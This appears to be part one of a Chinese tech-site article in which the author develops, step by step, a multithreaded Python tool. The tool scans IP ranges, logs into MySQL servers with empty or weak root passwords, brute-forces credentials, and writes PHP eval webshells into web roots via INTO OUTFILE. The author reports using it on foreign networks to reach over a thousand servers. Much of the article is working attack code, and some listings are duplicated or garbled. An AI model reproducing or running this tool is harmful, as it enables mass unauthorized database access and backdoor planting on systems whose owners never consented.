|
|
51CTO旗下网站
|
|
移动端

高效Python脚本,6小时获取上千台MySQL数据库服务器(上)

一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。

作者:blus来源:合天智汇|2018-12-28 08:46

01前言

一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。

02起因

这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。

原始脚本-1:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. defmysql_connect1(ip,shell_url): 
  7. #尝试数据库连接 
  8. try: 
  9. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  10. cur=conn.cursor() 
  11.  
  12. #若数据库连接成功,开始写马 
  13. try: 
  14. sql_insert="SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';".format(shell_url) 
  15. #printsql_insert; 
  16.  
  17. cur.execute(sql_insert) 
  18. print"写入成功".decode() 
  19. exceptException as e: 
  20. print"写入错误" 
  21. printe; 
  22. return 
  23. cur.close() 
  24. conn.close() 
  25.  
  26. exceptMySQLdb.Error,e: 
  27. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  28. return 
  29.  
  30. if__name__ == "__main__"
  31. fp_ip=open('ip.txt'
  32. shell_url= 'D:/1.PHP' 
  33.  
  34. forip in fp_ip.readlines(): 
  35. fp4=ip.replace('\r',"").replace('\n',""
  36. #url=str(fp5) 
  37. printfp4 
  38. mysql_connect1(ip,shell_url) 
  39.  
  40. print'检测结束' 

需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。

03计划

这个python脚本来是为AWD比赛准备的,但后来一直没用上,最后一直躺在“武器库”里生锈。想着既然有些过时了,就让它重新发亮。(为了方便互相学习,之后的代码中会加入大量的注释)

计划对其做以下改进:

1. 加快其速度,支持大批量扫描

2. 增加自动爆破密码的功能

3. 增加日志记录功能

4. 代码规范简洁

04引入多线程

升级第一步,那就是加快它的速度,单线程太慢了尝试多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pipinstall IPy 安装IPy库无报错。

主要更改了这几处:

以下是这次修改后的完整的代码-2:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. importthreading 
  7. importtime 
  8. importIPy 
  9.  
  10. defmysql_connect1(ip,shell_url,shell_content): 
  11. #尝试数据库连接 
  12. try: 
  13. conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306) 
  14. cur=conn.cursor() 
  15.  
  16. #若数据库连接成功,开始写马 
  17. try: 
  18.  
  19. sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url) 
  20. printsql_insert; 
  21.  
  22. cur.execute(sql_insert) 
  23. print"写入成功".decode() 
  24.  
  25. exceptException as e: 
  26. print"写入错误" 
  27. printe; 
  28. return 
  29. cur.close() 
  30. conn.close() 
  31.  
  32.  
  33. exceptMySQLdb.Error,e: 
  34. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  35. return 
  36.  
  37. if__name__ == "__main__"
  38. #内容设置 
  39. shell_url='wamp64/www/erg2313231.php'
  40. shell_content='<?php@eval($_POST[cmd]); ?>' 
  41. #设置同时运行的线程数 
  42. threads=25 
  43. #要检测的IP网段 
  44. ip1= IPy.IP('192.168.0.0/16'
  45.  
  46.  
  47. forip in ip1:     
  48. ip=str(ip) 
  49. while(threading.activeCount()>threads): 
  50. time.sleep(1) 
  51. threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start() 
  52. print'检测结束' 

05改善速度,增加ping函数

但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)

增加一个ping_ip函数,可参考:http://blog.51cto.com/happylab/1742282

加上判断语句。若主机不存活,则退出。

改好后再测试发现时间缩短一半。

以下是这次的完整代码-3:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. importthreading 
  7. importtime 
  8. importIPy 
  9.  
  10. defmysql_connect1(ip,shell_url,shell_content): 
  11. #尝试数据库连接 
  12. try: 
  13. conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306) 
  14. cur=conn.cursor() 
  15.  
  16. #若数据库连接成功,开始写马 
  17. try: 
  18.  
  19. sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url) 
  20. printsql_insert; 
  21.  
  22. cur.execute(sql_insert) 
  23. print"写入成功".decode() 
  24.  
  25. exceptException as e: 
  26. print"写入错误" 
  27. printe; 
  28. return 
  29. cur.close() 
  30. conn.close() 
  31.  
  32.  
  33. exceptMySQLdb.Error,e: 
  34. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  35. return 
  36.  
  37. if__name__ == "__main__"
  38. #内容设置 
  39. shell_url='wamp64/www/erg2313231.php'
  40. shell_content='<?php@eval($_POST[cmd]); ?>' 
  41. #设置同时运行的线程数 
  42. threads=25 
  43. #要检测的IP网段 
  44. ip1= IPy.IP('192.168.0.0/16'
  45.  
  46.  
  47. forip in ip1:     
  48. ip=str(ip) 
  49. while(threading.activeCount()>threads): 
  50. time.sleep(1) 
  51. threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start() 
  52. print'检测结束' 
  53.  
  54.  
  55. 05 
  56. 改善速度,增加ping函数 
  57.  
  58. 但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。) 
  59.  
  60. 增加一个ping_ip函数,可参考 
  61. http://blog.51cto.com/happylab/1742282 
  62.  
  63.  
  64. 加上判断语句。若主机不存活,则退出 
  65.  
  66.  
  67.  
  68. 改好后再测试发现时间缩短一半。 
  69.  
  70. 以下是这次的完整代码-3: 
  71. #!/usr/bin/envpython 
  72. #coding=utf-8 
  73. #author:Blus 
  74.  
  75. importMySQLdb 
  76. importthreading 
  77. importIPy 
  78. import time 
  79. importsubprocess 
  80. defmysql_connect1(ip,shell_url,shell_content): 
  81.  
  82. ifnot(ping_ip(ip)): 
  83. #printip,"down" 
  84. return 
  85.  
  86. #尝试数据库连接 
  87. try: 
  88. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  89. cur=conn.cursor() 
  90.  
  91. #若数据库连接成功,开始写马 
  92. try: 
  93. #如果有重名数据库则删除该数据库 
  94. cur.execute('DROPdatabase IF EXISTS `A123456`;'
  95. cur.execute('createdatabase A123456;'
  96. except
  97. printip,"数据库创建错误" 
  98. return 
  99. cur.execute('useA123456;'
  100.  
  101. try: 
  102. cur.execute('CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );'
  103. printip,"表创建成功" 
  104. except
  105. printip,"表创建失败" 
  106. return 
  107.  
  108. try: 
  109. shell_content2="INSERTINTOB123456(C123456)VALUES ('{}');".format(shell_content) 
  110. cur.execute(shell_content2) 
  111. printip,"一句话插入成功" 
  112. except
  113. printip,"一句话插入失败" 
  114. return 
  115. #这里设置小马导出后的路径,该目录需要有写权限且mysql没有开启secure-file-priv 
  116. try: 
  117. sql_insert="SELECTC123456 from B123456 into outfile '{}';".format(shell_url) 
  118. cur.execute(sql_insert) 
  119. printip,"写入成功".decode() 
  120. exceptException as e: 
  121. printip,"写入错误",e 
  122. return 
  123.  
  124. cur.close() 
  125. conn.close() 
  126. return 
  127. exceptMySQLdb.Error,e: 
  128. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  129. return 
  130.  
  131. defping_ip(ip): 
  132. #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活 
  133.  
  134. cmd= 'ping -w 1 %s' % ip 
  135. p= subprocess.Popen(cmd, 
  136. stdin=subprocess.PIPE, 
  137. stdout=subprocess.PIPE, 
  138. stderr=subprocess.PIPE, 
  139. shell=True
  140. result= p.stdout.read() 
  141. regex= result.find('100%'
  142. #未匹配到就是-1 
  143. #未匹配到就是存活主机 
  144. if(regex == -1): 
  145. return1 
  146. else
  147. return0 
  148.  
  149.  
  150. if__name__ == "__main__"
  151. start= time.time() 
  152. #内容设置 
  153. shell_url='../../../../wamp64/www/erg2313231.php'
  154. shell_content='<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>' 
  155.  
  156. #设置同时运行的线程数 
  157. threads=25 
  158.  
  159. #要检测的IP网段 
  160. ip1= IPy.IP('192.168.0.0/24'
  161.  
  162. forip in ip1:     
  163. ip=str(ip) 
  164.  
  165. while(threading.activeCount()>threads): 
  166. time.sleep(1) 
  167. t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)) 
  168. t1.start() 
  169.  
  170. #当线程只剩1时,说明执行完了 
  171. while(threading.activeCount()!=1): 
  172. time.sleep(1) 
  173. print"检测结束" 
  174. endtime.time() 
  175. printend - start 

06日志记录

接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。

更改了以下几处:

简单的日志记录函数:

记录日志的几种情况:

区分不同的报错信息:

以下是此次的完整代码-4:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4. importMySQLdb 
  5. importthreading 
  6. importtime 
  7. importIPy 
  8. importsubprocess 
  9.  
  10. defmysql_connect1(ip): 
  11.  
  12. ifnot(ping_ip(ip)): 
  13. #printip,"down" 
  14. return 
  15. else
  16. #记录在线的ip 
  17. ip_log("ip_up.txt",ip,""
  18.  
  19. #尝试数据库连接 
  20. try: 
  21. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  22. cur=conn.cursor() 
  23.  
  24. #记录开放3306端口的ip 
  25. ip_log("port_connected.txt",ip,""
  26.  
  27. exceptMySQLdb.Error,e: 
  28. e= str(e) 
  29. #记录报错信息 
  30. printe 
  31.  
  32. r1= e.find('Can\'t connect') #端口未开放Mysql_Error:2003: Can't connect to MySQL server on '35.164.6.48' (10060) 
  33. r2= e.find('Access denied')  # 端口开放但密码错误 Mysql_Error:1045: Access denied for user 'root'@'localhost' (using password: YES) 
  34. r3= e.find('not allowed') #端口只允许特定ip连接 Mysql_Error:1130: Host '172.17.14.2' is not allowed to connect to this MySQLserver 
  35. #r3= e.find('Learn SQL!') #这限制特定了sql语句 
  36.  
  37. if(r1 != -1): 
  38. #排除端口不开放的情况 
  39. return 
  40.  
  41. elif(r2!= -1): 
  42. #ip_log('port_opend.txt',ip,"密码错误"
  43. ip_log('port_opend.txt',ip,e) 
  44.  
  45. elif(r3!= -1): 
  46. #ip_log('port_opend.txt',ip , "不允许该IP连接"
  47. ip_log('port_opend.txt',ip , e) 
  48. else
  49. #ip_log('port_opend.txt',ip, "其他错误"
  50. ip_log('port_opend.txt',ip, e) 
  51.  
  52. return 
  53.  
  54. defping_ip(ip): 
  55. #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活 
  56.  
  57. cmd= 'ping -w 1 %s' % ip 
  58. p= subprocess.Popen(cmd, 
  59. stdin=subprocess.PIPE, 
  60. stdout=subprocess.PIPE, 
  61. stderr=subprocess.PIPE, 
  62. shell=True
  63.  
  64. result= p.stdout.read() 
  65. regex= result.find('100%'
  66.  
  67. #未匹配到就是-1,就是存活主机 
  68. if(regex == -1): 
  69. return1 
  70. else
  71. return0 
  72.  
  73. def ip_log(txt_name,ip,content): 
  74. f1= open(txt_name, 'a'
  75. f1.write(ip+ " " + content + "\r\n"
  76. f1.close() 
  77.  
  78. if__name__ == "__main__"
  79.  
  80. start= time.time() 
  81.  
  82. #设置同时运行的线程数 
  83. threads=150 
  84.  
  85. #要检测的IP网段 
  86. ip1= IPy.IP('192.168.0.0/16'
  87.  
  88. forip in ip1:     
  89. ip=str(ip) 
  90. printip 
  91.  
  92. while(threading.activeCount()>threads): 
  93. time.sleep(1) 
  94. t1=threading.Thread(target=mysql_connect1,args=(ip,)) 
  95. t1.start() 
  96.  
  97. #当线程只剩1时,说明执行完了 
  98. while(threading.activeCount()!=1): 
  99. time.sleep(5) 
  100. print"检测结束" 

这里代码已经开始杂乱了,暂且放着。改完后测试扫描了米国某网段一个小时,发现现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线服务器。

开放端口的日志:

成功连接的日志:

07字典爆破

当然,一个空密码连接不可能满足我们,再加上个弱口令爆破功能就更完美了。在mysql连接函数外套一个循环,循环读取txt中的每行密码进行尝试。

注意:在读取txt字典里每行的内容时记得去掉”\r”和“\n”这代表回车的符号,不然爆破密码时就带上了它们。

在过程中发现MySQLdb.connect的一个问题:

理论上当运行该函数长时间未连接端口时会抛出错误,但在实际过程中,有时候不会抛出错误,程序一直阻塞。去查阅了mysqldb的文档,发现有个连接超时(connect_timeou)的参数选项(如下图),当连接超时时会抛弃该连接。但一测试马上发现这个参数形同虚设,根本没用!

无奈,只能手动给函数加上时间限制,考虑了以下两个方法。

方法一:使用signal.SIGALRM信号量,但SIGALRM只能在linux系统下使用

可参考:

https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python

方法二:使用多线程中的join()的超时参数,比如join(3)就是限制了子线程运行的时间为3秒。

在此我采用方法二:

但同时需要注意的是try...except是无法捕捉线程中的报错的,因为线程有独立的栈,线程产生的异常发生在不同的栈上,因此无法捕捉到线程的异常。即捕捉不到3306端口连接错误,就无法根据报错信息来分析端口的连接情况。但如果在线程内部使用try..except来捕捉报错的话,线程自身又不返回值,无法告诉主函数端口的连接情况,也就无法确定是否要进行密码爆破,或者什么时候密码爆破成功,这时候又该怎么办呢?

查阅网上的资料,发现有利用类的变量来传递线程内的消息,也有使用Queue库创建队列实例来传递数据的。但总觉得有些“臃肿”,不太满意。思考着突然豁然开朗,可以在线程运行的函数内部判断端口的连接情况,然后用threading.Event()的标志设置与否,来传递结果,让主函数知道接下来该如何运行。设置了标志说明要进行下一步操作,未设置标志则return退出当前操作。

关于threading.Event()的基础知识可参考:https://blog.csdn.net/u012067766/article/details/79734630

修改后的主函数:

这里就不放上完整的代码了,因为紧接着马上又改进了效率。

【编辑推荐】

  1. 服务器如何获取真实客户端 IP
  2. Jenkins服务器允许匿名用户成为管理员
  3. TCP/IP客户端和服务器的角色
  4. Linux服务器开发,2小时搞定高并发网络编程
  5. 服务器多线程破解RAR文件密码-BruteForcer
【责任编辑:武晓燕 TEL:(010)68476606】


点赞 0
分享:
大家都在看
猜你喜欢

订阅专栏+2018手机认证送彩金

活学活用 Ubuntu Server

活学活用 Ubuntu Server

实战直通车
共35章 | UbuntuServer

218人订阅学习

Java EE速成指南

Java EE速成指南

掌握Java核心
共30章 | 51CTO王波

83人订阅学习

Mysql DBA修炼之路

Mysql DBA修炼之路

MySQL入门到高阶
共24章 | 武凤涛

471人订阅学习

读 书 +2018手机认证送彩金

点石成金:访客至上的网页设计秘笈(原书第2版)

有些网站看起来很清爽; 有些网站看起来很杂乱; 有些网站能让你轻松地找到资料; 有些网站让你犹如置身迷宫…… ...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO播客

博聚网